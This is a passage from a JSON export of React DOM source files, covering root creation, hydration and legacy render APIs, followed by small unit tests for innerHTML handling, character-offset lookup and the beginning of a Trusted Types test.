handleNavigateComplete);\n\n  function startFakeNavigation() {\n    if (isCancelled) {\n      // We already stopped this Transition.\n      return;\n    }\n    if (navigation.transition) {\n      // There is an on-going Navigation already happening. Let's wait for it to\n      // finish before starting our fake one.\n      return;\n    }\n    // Trigger a fake navigation to the same page\n    const currentEntry = navigation.currentEntry;\n    if (currentEntry && currentEntry.url != null) {\n      navigation.navigate(currentEntry.url, {\n        state: currentEntry.getState(),\n        info: 'react-transition', // indicator to routers to ignore this navigation\n        history: 'replace',\n      });\n    }\n  }\n\n  // Delay the start a bit in case this is a fast Transition.\n  setTimeout(startFakeNavigation, 100);\n\n  return function () {\n    isCancelled = true;\n    // $FlowFixMe\n    navigation.removeEventListener('navigate', handleNavigate);\n    // $FlowFixMe\n    navigation.removeEventListener('navigatesuccess', handleNavigateComplete);\n    // $FlowFixMe\n    navigation.removeEventListener('navigateerror', handleNavigateComplete);\n    if (pendingResolve !== null) {\n      pendingResolve();\n      pendingResolve = null;\n    }\n  };\n}\n"
  },
  {
    "path": "packages/react-dom/src/client/ReactDOMRoot.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactNodeList, ReactFormState} from 'shared/ReactTypes';\nimport type {\n  FiberRoot,\n  TransitionTracingCallbacks,\n} from 'react-reconciler/src/ReactInternalTypes';\n\nimport {isValidContainer} from 'react-dom-bindings/src/client/ReactDOMContainer';\nimport {queueExplicitHydrationTarget} from 'react-dom-bindings/src/events/ReactDOMEventReplaying';\nimport {REACT_ELEMENT_TYPE} from 'shared/ReactSymbols';\nimport {\n  disableCommentsAsDOMContainers,\n  enableDefaultTransitionIndicator,\n} from 'shared/ReactFeatureFlags';\n\nexport type RootType = {\n  render(children: ReactNodeList): void,\n  unmount(): void,\n  _internalRoot: FiberRoot | null,\n};\n\nexport type CreateRootOptions = {\n  unstable_strictMode?: boolean,\n  unstable_transitionCallbacks?: TransitionTracingCallbacks,\n  identifierPrefix?: string,\n  onUncaughtError?: (\n    error: mixed,\n    errorInfo: {+componentStack?: ?string},\n  ) => void,\n  onCaughtError?: (\n    error: mixed,\n    errorInfo: {\n      +componentStack?: ?string,\n      +errorBoundary?: ?component(...props: any),\n    },\n  ) => void,\n  onRecoverableError?: (\n    error: mixed,\n    errorInfo: {+componentStack?: ?string},\n  ) => void,\n  onDefaultTransitionIndicator?: () => void | (() => void),\n};\n\nexport type HydrateRootOptions = {\n  // Hydration options\n  onHydrated?: (hydrationBoundary: Comment) => void,\n  onDeleted?: (hydrationBoundary: Comment) => void,\n  // Options for all roots\n  unstable_strictMode?: boolean,\n  unstable_transitionCallbacks?: TransitionTracingCallbacks,\n  identifierPrefix?: string,\n  onUncaughtError?: (\n    error: mixed,\n    errorInfo: {+componentStack?: ?string},\n  ) => void,\n  onCaughtError?: (\n    error: mixed,\n    errorInfo: {\n      +componentStack?: ?string,\n      +errorBoundary?: ?component(...props: any),\n    },\n  ) => void,\n  onRecoverableError?: (\n    error: mixed,\n    errorInfo: {+componentStack?: ?string},\n  ) => void,\n  onDefaultTransitionIndicator?: () => void | (() => void),\n  formState?: ReactFormState<any, any> | null,\n};\n\nimport {\n  isContainerMarkedAsRoot,\n  markContainerAsRoot,\n  unmarkContainerAsRoot,\n} from 'react-dom-bindings/src/client/ReactDOMComponentTree';\nimport {listenToAllSupportedEvents} from 'react-dom-bindings/src/events/DOMPluginEventSystem';\nimport {COMMENT_NODE} from 'react-dom-bindings/src/client/HTMLNodeType';\n\nimport {\n  createContainer,\n  createHydrationContainer,\n  updateContainer,\n  updateContainerSync,\n  flushSyncWork,\n  isAlreadyRendering,\n  defaultOnUncaughtError,\n  defaultOnCaughtError,\n  defaultOnRecoverableError,\n} from 'react-reconciler/src/ReactFiberReconciler';\nimport {defaultOnDefaultTransitionIndicator} from './ReactDOMDefaultTransitionIndicator';\nimport {ConcurrentRoot} from 'react-reconciler/src/ReactRootTags';\n\n// $FlowFixMe[missing-this-annot]\nfunction ReactDOMRoot(internalRoot: FiberRoot) {\n  this._internalRoot = internalRoot;\n}\n\n// $FlowFixMe[prop-missing] found when upgrading Flow\nReactDOMHydrationRoot.prototype.render = ReactDOMRoot.prototype.render =\n  // $FlowFixMe[missing-this-annot]\n  function (children: ReactNodeList): void {\n    const root = this._internalRoot;\n    if (root === null) {\n      throw new Error('Cannot update an unmounted root.');\n    }\n\n    if (__DEV__) {\n      // using a reference to `arguments` bails out of GCC optimizations which affect function arity\n      const args = arguments;\n      if (typeof args[1] === 'function') {\n        console.error(\n          'does not support the second callback argument. ' +\n            'To execute a side effect after rendering, declare it in a component body with useEffect().',\n        );\n      } else if (isValidContainer(args[1])) {\n        console.error(\n          'You passed a container to the second argument of root.render(...). ' +\n            \"You don't need to pass it again since you already passed it to create the root.\",\n        );\n      } else if (typeof args[1] !== 'undefined') {\n        console.error(\n          'You passed a second argument to root.render(...) but it only accepts ' +\n            'one argument.',\n        );\n      }\n    }\n    updateContainer(children, root, null, null);\n  };\n\n// $FlowFixMe[prop-missing] found when upgrading Flow\nReactDOMHydrationRoot.prototype.unmount = ReactDOMRoot.prototype.unmount =\n  // $FlowFixMe[missing-this-annot]\n  function (): void {\n    if (__DEV__) {\n      // using a reference to `arguments` bails out of GCC optimizations which affect function arity\n      const args = arguments;\n      if (typeof args[0] === 'function') {\n        console.error(\n          'does not support a callback argument. ' +\n            'To execute a side effect after rendering, declare it in a component body with useEffect().',\n        );\n      }\n    }\n    const root = this._internalRoot;\n    if (root !== null) {\n      this._internalRoot = null;\n      const container = root.containerInfo;\n      if (__DEV__) {\n        if (isAlreadyRendering()) {\n          console.error(\n            'Attempted to synchronously unmount a root while React was already ' +\n              'rendering. React cannot finish unmounting the root until the ' +\n              'current render has completed, which may lead to a race condition.',\n          );\n        }\n      }\n      updateContainerSync(null, root, null, null);\n      flushSyncWork();\n      unmarkContainerAsRoot(container);\n    }\n  };\n\nexport function createRoot(\n  container: Element | Document | DocumentFragment,\n  options?: CreateRootOptions,\n): RootType {\n  if (!isValidContainer(container)) {\n    throw new Error('Target container is not a DOM element.');\n  }\n\n  warnIfReactDOMContainerInDEV(container);\n\n  const concurrentUpdatesByDefaultOverride = false;\n  let isStrictMode = false;\n  let identifierPrefix = '';\n  let onUncaughtError = defaultOnUncaughtError;\n  let onCaughtError = defaultOnCaughtError;\n  let onRecoverableError = defaultOnRecoverableError;\n  let onDefaultTransitionIndicator = defaultOnDefaultTransitionIndicator;\n  let transitionCallbacks = null;\n\n  if (options !== null && options !== undefined) {\n    if (__DEV__) {\n      if ((options: any).hydrate) {\n        console.warn(\n          'hydrate through createRoot is deprecated. Use ReactDOMClient.hydrateRoot(container, <App />) instead.',\n        );\n      } else {\n        if (\n          typeof options === 'object' &&\n          options !== null &&\n          (options: any).$$typeof === REACT_ELEMENT_TYPE\n        ) {\n          console.error(\n            'You passed a JSX element to createRoot. You probably meant to ' +\n              'call root.render instead. ' +\n              'Example usage:\\n\\n' +\n              '  let root = createRoot(domContainer);\\n' +\n              '  root.render(<App />);',\n          );\n        }\n      }\n    }\n    if (options.unstable_strictMode === true) {\n      isStrictMode = true;\n    }\n    if (options.identifierPrefix !== undefined) {\n      identifierPrefix = options.identifierPrefix;\n    }\n    if (options.onUncaughtError !== undefined) {\n      onUncaughtError = options.onUncaughtError;\n    }\n    if (options.onCaughtError !== undefined) {\n      onCaughtError = options.onCaughtError;\n    }\n    if (options.onRecoverableError !== undefined) {\n      onRecoverableError = options.onRecoverableError;\n    }\n    if (enableDefaultTransitionIndicator) {\n      if (options.onDefaultTransitionIndicator !== undefined) {\n        onDefaultTransitionIndicator = options.onDefaultTransitionIndicator;\n      }\n    }\n    if (options.unstable_transitionCallbacks !== undefined) {\n      transitionCallbacks = options.unstable_transitionCallbacks;\n    }\n  }\n\n  const root = createContainer(\n    container,\n    ConcurrentRoot,\n    null,\n    isStrictMode,\n    concurrentUpdatesByDefaultOverride,\n    identifierPrefix,\n    onUncaughtError,\n    onCaughtError,\n    onRecoverableError,\n    onDefaultTransitionIndicator,\n    transitionCallbacks,\n  );\n  markContainerAsRoot(root.current, container);\n\n  const rootContainerElement: Document | Element | DocumentFragment =\n    !disableCommentsAsDOMContainers && container.nodeType === COMMENT_NODE\n      ? (container.parentNode: any)\n      : container;\n  listenToAllSupportedEvents(rootContainerElement);\n\n  // $FlowFixMe[invalid-constructor] Flow no longer supports calling new on functions\n  return new ReactDOMRoot(root);\n}\n\n// $FlowFixMe[missing-this-annot]\nfunction ReactDOMHydrationRoot(internalRoot: FiberRoot) {\n  this._internalRoot = internalRoot;\n}\nfunction scheduleHydration(target: Node) {\n  if (target) {\n    queueExplicitHydrationTarget(target);\n  }\n}\n// $FlowFixMe[prop-missing] found when upgrading Flow\nReactDOMHydrationRoot.prototype.unstable_scheduleHydration = scheduleHydration;\n\nexport function hydrateRoot(\n  container: Document | Element,\n  initialChildren: ReactNodeList,\n  options?: HydrateRootOptions,\n): RootType {\n  if (!isValidContainer(container)) {\n    throw new Error('Target container is not a DOM element.');\n  }\n\n  warnIfReactDOMContainerInDEV(container);\n\n  if (__DEV__) {\n    if (initialChildren === undefined) {\n      console.error(\n        'Must provide initial children as second argument to hydrateRoot. ' +\n          'Example usage: hydrateRoot(domContainer, <App />)',\n      );\n    }\n  }\n\n  // For now we reuse the whole bag of options since they contain\n  // the hydration callbacks.\n  const hydrationCallbacks = options != null ? options : null;\n\n  const concurrentUpdatesByDefaultOverride = false;\n  let isStrictMode = false;\n  let identifierPrefix = '';\n  let onUncaughtError = defaultOnUncaughtError;\n  let onCaughtError = defaultOnCaughtError;\n  let onRecoverableError = defaultOnRecoverableError;\n  let onDefaultTransitionIndicator = defaultOnDefaultTransitionIndicator;\n  let transitionCallbacks = null;\n  let formState = null;\n  if (options !== null && options !== undefined) {\n    if (options.unstable_strictMode === true) {\n      isStrictMode = true;\n    }\n    if (options.identifierPrefix !== undefined) {\n      identifierPrefix = options.identifierPrefix;\n    }\n    if (options.onUncaughtError !== undefined) {\n      onUncaughtError = options.onUncaughtError;\n    }\n    if (options.onCaughtError !== undefined) {\n      onCaughtError = options.onCaughtError;\n    }\n    if (options.onRecoverableError !== undefined) {\n      onRecoverableError = options.onRecoverableError;\n    }\n    if (enableDefaultTransitionIndicator) {\n      if (options.onDefaultTransitionIndicator !== undefined) {\n        onDefaultTransitionIndicator = options.onDefaultTransitionIndicator;\n      }\n    }\n    if (options.unstable_transitionCallbacks !== undefined) {\n      transitionCallbacks = options.unstable_transitionCallbacks;\n    }\n    if (options.formState !== undefined) {\n      formState = options.formState;\n    }\n  }\n\n  const root = createHydrationContainer(\n    initialChildren,\n    null,\n    container,\n    ConcurrentRoot,\n    hydrationCallbacks,\n    isStrictMode,\n    concurrentUpdatesByDefaultOverride,\n    identifierPrefix,\n    onUncaughtError,\n    onCaughtError,\n    onRecoverableError,\n    onDefaultTransitionIndicator,\n    transitionCallbacks,\n    formState,\n  );\n  markContainerAsRoot(root.current, container);\n  // This can't be a comment node since hydration doesn't work on comment nodes anyway.\n  listenToAllSupportedEvents(container);\n\n  // $FlowFixMe[invalid-constructor] Flow no longer supports calling new on functions\n  return new ReactDOMHydrationRoot(root);\n}\n\nfunction warnIfReactDOMContainerInDEV(container: any) {\n  if (__DEV__) {\n    if (isContainerMarkedAsRoot(container)) {\n      if (container._reactRootContainer) {\n        console.error(\n          'You are calling ReactDOMClient.createRoot() on a container that was previously ' +\n            'passed to ReactDOM.render(). This is not supported.',\n        );\n      } else {\n        console.error(\n          'You are calling ReactDOMClient.createRoot() on a container that ' +\n            'has already been passed to createRoot() before. Instead, call ' +\n            'root.render() on the existing root instead if you want to update it.',\n        );\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-dom/src/client/ReactDOMRootFB.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactNodeList} from 'shared/ReactTypes';\n\nimport type {\n  RootType,\n  CreateRootOptions,\n  HydrateRootOptions,\n} from './ReactDOMRoot';\n\nimport type {FiberRoot} from 'react-reconciler/src/ReactInternalTypes';\n\nimport type {\n  Container,\n  PublicInstance,\n} from 'react-dom-bindings/src/client/ReactFiberConfigDOM';\n\nimport {\n  createRoot as createRootImpl,\n  hydrateRoot as hydrateRootImpl,\n} from './ReactDOMRoot';\n\nimport {\n  disableLegacyMode,\n  disableCommentsAsDOMContainers,\n} from 'shared/ReactFeatureFlags';\nimport {clearContainer} from 'react-dom-bindings/src/client/ReactFiberConfigDOM';\nimport {\n  getInstanceFromNode,\n  isContainerMarkedAsRoot,\n  markContainerAsRoot,\n  unmarkContainerAsRoot,\n} from 'react-dom-bindings/src/client/ReactDOMComponentTree';\nimport {listenToAllSupportedEvents} from 'react-dom-bindings/src/events/DOMPluginEventSystem';\nimport {isValidContainer} from 'react-dom-bindings/src/client/ReactDOMContainer';\nimport {\n  DOCUMENT_NODE,\n  ELEMENT_NODE,\n  COMMENT_NODE,\n} from 'react-dom-bindings/src/client/HTMLNodeType';\n\nimport {\n  batchedUpdates,\n  createContainer,\n  createHydrationContainer,\n  findHostInstanceWithNoPortals,\n  updateContainer,\n  updateContainerSync,\n  flushSyncWork,\n  getPublicRootInstance,\n  findHostInstance,\n  findHostInstanceWithWarning,\n  defaultOnUncaughtError,\n  defaultOnCaughtError,\n} from 'react-reconciler/src/ReactFiberReconciler';\nimport {LegacyRoot} from 'react-reconciler/src/ReactRootTags';\nimport getComponentNameFromType from 'shared/getComponentNameFromType';\n\nimport {\n  current as currentOwner,\n  isRendering,\n} from 'react-reconciler/src/ReactCurrentFiber';\n\nimport assign from 'shared/assign';\n\nimport noop from 'shared/noop';\n\n// Provided by www\nconst ReactFiberErrorDialogWWW = require('ReactFiberErrorDialog');\n\nif (typeof ReactFiberErrorDialogWWW.showErrorDialog !== 'function') {\n  throw new Error(\n    'Expected ReactFiberErrorDialog.showErrorDialog to be a function.',\n  );\n}\n\nfunction wwwOnUncaughtError(\n  error: mixed,\n  errorInfo: {+componentStack?: ?string},\n): void {\n  const componentStack =\n    errorInfo.componentStack != null ? errorInfo.componentStack : '';\n  const logError = ReactFiberErrorDialogWWW.showErrorDialog({\n    errorBoundary: null,\n    error,\n    componentStack,\n  });\n\n  // Allow injected showErrorDialog() to prevent default console.error logging.\n  // This enables renderers like ReactNative to better manage redbox behavior.\n  if (logError === false) {\n    return;\n  }\n\n  defaultOnUncaughtError(error, errorInfo);\n}\n\nfunction wwwOnCaughtError(\n  error: mixed,\n  errorInfo: {\n    +componentStack?: ?string,\n    +errorBoundary?: ?component(),\n  },\n): void {\n  const errorBoundary = errorInfo.errorBoundary;\n  const componentStack =\n    errorInfo.componentStack != null ? errorInfo.componentStack : '';\n  const logError = ReactFiberErrorDialogWWW.showErrorDialog({\n    errorBoundary,\n    error,\n    componentStack,\n  });\n\n  // Allow injected showErrorDialog() to prevent default console.error logging.\n  // This enables renderers like ReactNative to better manage redbox behavior.\n  if (logError === false) {\n    return;\n  }\n\n  defaultOnCaughtError(error, errorInfo);\n}\nconst noopOnDefaultTransitionIndicator = noop;\n\nexport function createRoot(\n  container: Element | Document | DocumentFragment,\n  options?: CreateRootOptions,\n): RootType {\n  return createRootImpl(\n    container,\n    assign(\n      ({\n        onUncaughtError: wwwOnUncaughtError,\n        onCaughtError: wwwOnCaughtError,\n        onDefaultTransitionIndicator: noopOnDefaultTransitionIndicator,\n      }: any),\n      options,\n    ),\n  );\n}\n\nexport function hydrateRoot(\n  container: Document | Element,\n  initialChildren: ReactNodeList,\n  options?: HydrateRootOptions,\n): RootType {\n  return hydrateRootImpl(\n    container,\n    initialChildren,\n    assign(\n      ({\n        onUncaughtError: wwwOnUncaughtError,\n        onCaughtError: wwwOnCaughtError,\n        onDefaultTransitionIndicator: noopOnDefaultTransitionIndicator,\n      }: any),\n      options,\n    ),\n  );\n}\n\nlet topLevelUpdateWarnings;\n\nif (__DEV__) {\n  topLevelUpdateWarnings = (container: Container) => {\n    if (container._reactRootContainer && container.nodeType !== COMMENT_NODE) {\n      const hostInstance = findHostInstanceWithNoPortals(\n        container._reactRootContainer.current,\n      );\n      if (hostInstance) {\n        if (hostInstance.parentNode !== container) {\n          console.error(\n            'It looks like the React-rendered content of this ' +\n              'container was removed without using React. This is not ' +\n              'supported and will cause errors. Instead, call ' +\n              'ReactDOM.unmountComponentAtNode to empty a container.',\n          );\n        }\n      }\n    }\n\n    const isRootRenderedBySomeReact = !!container._reactRootContainer;\n    const rootEl = getReactRootElementInContainer(container);\n    const hasNonRootReactChild = !!(rootEl && getInstanceFromNode(rootEl));\n\n    if (hasNonRootReactChild && !isRootRenderedBySomeReact) {\n      console.error(\n        'Replacing React-rendered children with a new root ' +\n          'component. If you intended to update the children of this node, ' +\n          'you should instead have the existing children update their state ' +\n          'and render the new components instead of calling ReactDOM.render.',\n      );\n    }\n  };\n}\n\nfunction getReactRootElementInContainer(container: any) {\n  if (!container) {\n    return null;\n  }\n\n  if (container.nodeType === DOCUMENT_NODE) {\n    return container.documentElement;\n  } else {\n    return container.firstChild;\n  }\n}\n\n// This isn't reachable because onRecoverableError isn't called in the\n// legacy API.\nconst noopOnRecoverableError = noop;\n\nfunction legacyCreateRootFromDOMContainer(\n  container: Container,\n  initialChildren: ReactNodeList,\n  parentComponent: ?component(...props: any),\n  callback: ?Function,\n  isHydrationContainer: boolean,\n): FiberRoot {\n  if (isHydrationContainer) {\n    if (typeof callback === 'function') {\n      const originalCallback = callback;\n      callback = function () {\n        const instance = getPublicRootInstance(root);\n        originalCallback.call(instance);\n      };\n    }\n\n    const root: FiberRoot = createHydrationContainer(\n      initialChildren,\n      callback,\n      container,\n      LegacyRoot,\n      null, // hydrationCallbacks\n      false, // isStrictMode\n      false, // concurrentUpdatesByDefaultOverride,\n      '', // identifierPrefix\n      wwwOnUncaughtError,\n      wwwOnCaughtError,\n      noopOnRecoverableError,\n      noopOnDefaultTransitionIndicator,\n      // TODO(luna) Support hydration later\n      null,\n      null,\n    );\n    container._reactRootContainer = root;\n    markContainerAsRoot(root.current, container);\n\n    const rootContainerElement =\n      !disableCommentsAsDOMContainers && container.nodeType === COMMENT_NODE\n        ? container.parentNode\n        : container;\n    // $FlowFixMe[incompatible-call]\n    listenToAllSupportedEvents(rootContainerElement);\n\n    flushSyncWork();\n    return root;\n  } else {\n    // First clear any existing content.\n    clearContainer(container);\n\n    if (typeof callback === 'function') {\n      const originalCallback = callback;\n      callback = function () {\n        const instance = getPublicRootInstance(root);\n        originalCallback.call(instance);\n      };\n    }\n\n    const root = createContainer(\n      container,\n      LegacyRoot,\n      null, // hydrationCallbacks\n      false, // isStrictMode\n      false, // concurrentUpdatesByDefaultOverride,\n      '', // identifierPrefix\n      wwwOnUncaughtError,\n      wwwOnCaughtError,\n      noopOnRecoverableError,\n      noopOnDefaultTransitionIndicator,\n      null, // transitionCallbacks\n    );\n    container._reactRootContainer = root;\n    markContainerAsRoot(root.current, container);\n\n    const rootContainerElement =\n      !disableCommentsAsDOMContainers && container.nodeType === COMMENT_NODE\n        ? container.parentNode\n        : container;\n    // $FlowFixMe[incompatible-call]\n    listenToAllSupportedEvents(rootContainerElement);\n\n    // Initial mount should not be batched.\n    updateContainerSync(initialChildren, root, parentComponent, callback);\n    flushSyncWork();\n\n    return root;\n  }\n}\n\nfunction warnOnInvalidCallback(callback: mixed): void {\n  if (__DEV__) {\n    if (callback !== null && typeof callback !== 'function') {\n      console.error(\n        'Expected the last optional `callback` argument to be a ' +\n          'function. Instead received: %s.',\n        callback,\n      );\n    }\n  }\n}\n\nfunction legacyRenderSubtreeIntoContainer(\n  parentComponent: ?component(...props: any),\n  children: ReactNodeList,\n  container: Container,\n  forceHydrate: boolean,\n  callback: ?Function,\n): component(...props: any) | PublicInstance | null {\n  if (__DEV__) {\n    topLevelUpdateWarnings(container);\n    warnOnInvalidCallback(callback === undefined ? null : callback);\n  }\n\n  const maybeRoot = container._reactRootContainer;\n  let root: FiberRoot;\n  if (!maybeRoot) {\n    // Initial mount\n    root = legacyCreateRootFromDOMContainer(\n      container,\n      children,\n      parentComponent,\n      callback,\n      forceHydrate,\n    );\n  } else {\n    root = maybeRoot;\n    if (typeof callback === 'function') {\n      const originalCallback = callback;\n      callback = function () {\n        const instance = getPublicRootInstance(root);\n        originalCallback.call(instance);\n      };\n    }\n    // Update\n    updateContainer(children, root, parentComponent, callback);\n  }\n  return getPublicRootInstance(root);\n}\n\nexport function findDOMNode(\n  componentOrElement: Element | ?component(...props: any),\n): null | Element | Text {\n  if (__DEV__) {\n    const owner = currentOwner;\n    if (owner !== null && isRendering && owner.stateNode !== null) {\n      const warnedAboutRefsInRender = owner.stateNode._warnedAboutRefsInRender;\n      if (!warnedAboutRefsInRender) {\n        console.error(\n          '%s is accessing findDOMNode inside its render(). ' +\n            'render() should be a pure function of props and state. It should ' +\n            'never access something that requires stale data from the previous ' +\n            'render, such as refs. Move this logic to componentDidMount and ' +\n            'componentDidUpdate instead.',\n          getComponentNameFromType(owner.type) || 'A component',\n        );\n      }\n      owner.stateNode._warnedAboutRefsInRender = true;\n    }\n  }\n  if (componentOrElement == null) {\n    return null;\n  }\n  if ((componentOrElement: any).nodeType === ELEMENT_NODE) {\n    return (componentOrElement: any);\n  }\n  if (__DEV__) {\n    return findHostInstanceWithWarning(componentOrElement, 'findDOMNode');\n  }\n  return findHostInstance(componentOrElement);\n}\n\nexport function render(\n  element: React$Element<any>,\n  container: Container,\n  callback: ?Function,\n): component(...props: any) | PublicInstance | null {\n  if (disableLegacyMode) {\n    if (__DEV__) {\n      console.error(\n        'ReactDOM.render was removed in React 19. Use createRoot instead.',\n      );\n    }\n    throw new Error('ReactDOM: Unsupported Legacy Mode API.');\n  }\n  if (__DEV__) {\n    console.error(\n      'ReactDOM.render has not been supported since React 18. Use createRoot ' +\n        'instead. Until you switch to the new API, your app will behave as ' +\n        \"if it's running React 17. Learn \" +\n        'more: https://react.dev/link/switch-to-createroot',\n    );\n  }\n\n  if (!isValidContainer(container)) {\n    throw new Error('Target container is not a DOM element.');\n  }\n\n  if (__DEV__) {\n    const isModernRoot =\n      isContainerMarkedAsRoot(container) &&\n      container._reactRootContainer === undefined;\n    if (isModernRoot) {\n      console.error(\n        'You are calling ReactDOM.render() on a container that was previously ' +\n          'passed to ReactDOMClient.createRoot(). This is not supported. ' +\n          'Did you mean to call root.render(element)?',\n      );\n    }\n  }\n  return legacyRenderSubtreeIntoContainer(\n    null,\n    element,\n    container,\n    false,\n    callback,\n  );\n}\n\nexport function unmountComponentAtNode(container: Container): boolean {\n  if (disableLegacyMode) {\n    if (__DEV__) {\n      console.error(\n        'unmountComponentAtNode was removed in React 19. Use root.unmount() instead.',\n      );\n    }\n    throw new Error('ReactDOM: Unsupported Legacy Mode API.');\n  }\n  if (!isValidContainer(container)) {\n    throw new Error('Target container is not a DOM element.');\n  }\n\n  if (__DEV__) {\n    const isModernRoot =\n      isContainerMarkedAsRoot(container) &&\n      container._reactRootContainer === undefined;\n    if (isModernRoot) {\n      console.error(\n        'You are calling ReactDOM.unmountComponentAtNode() on a container that was previously ' +\n          'passed to ReactDOMClient.createRoot(). This is not supported. Did you mean to call root.unmount()?',\n      );\n    }\n  }\n\n  if (container._reactRootContainer) {\n    const root = container._reactRootContainer;\n\n    if (__DEV__) {\n      const rootEl = getReactRootElementInContainer(container);\n      const renderedByDifferentReact = rootEl && !getInstanceFromNode(rootEl);\n      if (renderedByDifferentReact) {\n        console.error(\n          \"unmountComponentAtNode(): The node you're attempting to unmount \" +\n            'was rendered by another copy of React.',\n        );\n      }\n    }\n\n    updateContainerSync(null, root, null, null);\n    flushSyncWork();\n    // $FlowFixMe[incompatible-type] This should probably use `delete container._reactRootContainer`\n    container._reactRootContainer = null;\n    unmarkContainerAsRoot(container);\n    return true;\n  } else {\n    if (__DEV__) {\n      const rootEl = getReactRootElementInContainer(container);\n      const hasNonRootReactChild = !!(rootEl && getInstanceFromNode(rootEl));\n\n      // Check if the container itself is a React root node.\n      const isContainerReactRoot =\n        container.nodeType === ELEMENT_NODE &&\n        isValidContainer(container.parentNode) &&\n        // $FlowFixMe[prop-missing]\n        // $FlowFixMe[incompatible-use]\n        !!container.parentNode._reactRootContainer;\n\n      if (hasNonRootReactChild) {\n        console.error(\n          \"unmountComponentAtNode(): The node you're attempting to unmount \" +\n            'was rendered by React and is not a top-level container. %s',\n          isContainerReactRoot\n            ? 'You may have accidentally passed in a React root node instead ' +\n                'of its container.'\n            : 'Instead, have the parent component update its state and ' +\n                'rerender in order to remove this component.',\n        );\n      }\n    }\n\n    return false;\n  }\n}\n\nexport {batchedUpdates as unstable_batchedUpdates};\n"
  },
  {
    "path": "packages/react-dom/src/client/__mocks__/ReactFiberErrorDialog.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport function showErrorDialog(): boolean {\n  return true;\n}\n"
  },
  {
    "path": "packages/react-dom/src/client/__tests__/dangerouslySetInnerHTML-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nconst React = require('react');\nconst ReactDOMClient = require('react-dom/client');\n\nconst act = require('internal-test-utils').act;\n\ndescribe('dangerouslySetInnerHTML', () => {\n  describe('when the node has innerHTML property', () => {\n    it('sets innerHTML on it', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <div dangerouslySetInnerHTML={{__html: '<h1>Hello</h1>'}} />,\n        );\n      });\n      expect(container.firstChild.innerHTML).toBe('<h1>Hello</h1>');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/client/__tests__/getNodeForCharacterOffset-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\n// TODO: can we express this test with only public API?\nconst getNodeForCharacterOffset =\n  require('react-dom-bindings/src/client/getNodeForCharacterOffset').default;\n\n// Create node from HTML string\nfunction createNode(html) {\n  const node = (getTestDocument() || document).createElement('div');\n  node.innerHTML = html;\n  return node;\n}\n\nfunction getTestDocument(markup) {\n  const doc = document.implementation.createHTMLDocument('');\n  doc.open();\n  doc.write(\n    markup ||\n      '<!doctype html><html><meta charset=utf-8><title>test doc</title>',\n  );\n  doc.close();\n  return doc;\n}\n\n// Check getNodeForCharacterOffset return value matches expected result.\nfunction expectNodeOffset(result, textContent, nodeOffset) {\n  expect(result.node.textContent).toBe(textContent);\n  expect(result.offset).toBe(nodeOffset);\n}\n\ndescribe('getNodeForCharacterOffset', () => {\n  it('should handle siblings', () => {\n    const node = createNode('<i>123</i><i>456</i><i>789</i>');\n\n    expectNodeOffset(getNodeForCharacterOffset(node, 0), '123', 0);\n    expectNodeOffset(getNodeForCharacterOffset(node, 4), '456', 1);\n  });\n\n  it('should handle trailing chars', () => {\n    const node = createNode('<i>123</i><i>456</i><i>789</i>');\n\n    expectNodeOffset(getNodeForCharacterOffset(node, 3), '123', 3);\n    expectNodeOffset(getNodeForCharacterOffset(node, 9), '789', 3);\n  });\n\n  it('should handle trees', () => {\n    const node = createNode(\n      '<i>' +\n        '<i>1</i>' +\n        '<i>' +\n        '<i>' +\n        '<i>2</i>' +\n        '<i></i>' +\n        '</i>' +\n        '</i>' +\n        '<i>' +\n        '3' +\n        '<i>45</i>' +\n        '</i>' +\n        '</i>',\n    );\n\n    expectNodeOffset(getNodeForCharacterOffset(node, 3), '3', 1);\n    expectNodeOffset(getNodeForCharacterOffset(node, 5), '45', 2);\n    expect(getNodeForCharacterOffset(node, 10)).toBeUndefined();\n  });\n\n  it('should handle non-existent offset', () => {\n    const node = createNode('<i>123</i>');\n\n    expect(getNodeForCharacterOffset(node, -1)).toBeUndefined();\n    expect(getNodeForCharacterOffset(node, 4)).toBeUndefined();\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/client/__tests__/trustedTypes-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\ndescribe('when Trusted Types are available in global object', () => {\n  let React;\n  let ReactDOMClient;\n  let act;\n  let assertConsoleErrorDev;\n  let container;\n  let ttObject1;\n  let ttObject2;\n\n  beforeEach(() => {\n    jest.resetModules();\n    container = document.createElement('div');\n    const fakeTTObjects = new Set();\n    window.trustedTypes = {\n      isHTML: function (value) {\n        if (this !== window.trustedTypes) {\n          throw new Error(this);\n        }\n        return fakeTTObjects.has(value);\n      },\n      isScript: () => false,\n      isScriptURL: () => false,\n    };\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    ({act, assertConsoleErrorDev} = require('internal-test-utils'));\n    ttObject1 = {\n      toString() {\n        return '<b>Hi</b>';\n      },\n    };\n    ttObject2 = {\n      toString() {\n        return '<b>Bye</b>';\n      },\n    };\n    fakeTTObjects.add(ttObject1);\n    fakeTTObjects.add(ttObject2);\n  });\n\n  afterEach(() => {\n    delete window.trustedTypes;\n  });\n\n  it('should not stringify trusted values for dangerouslySetInnerHTML', async () => {\n    const innerHTMLDescriptor = Object.getOwnPropertyDescriptor(\n      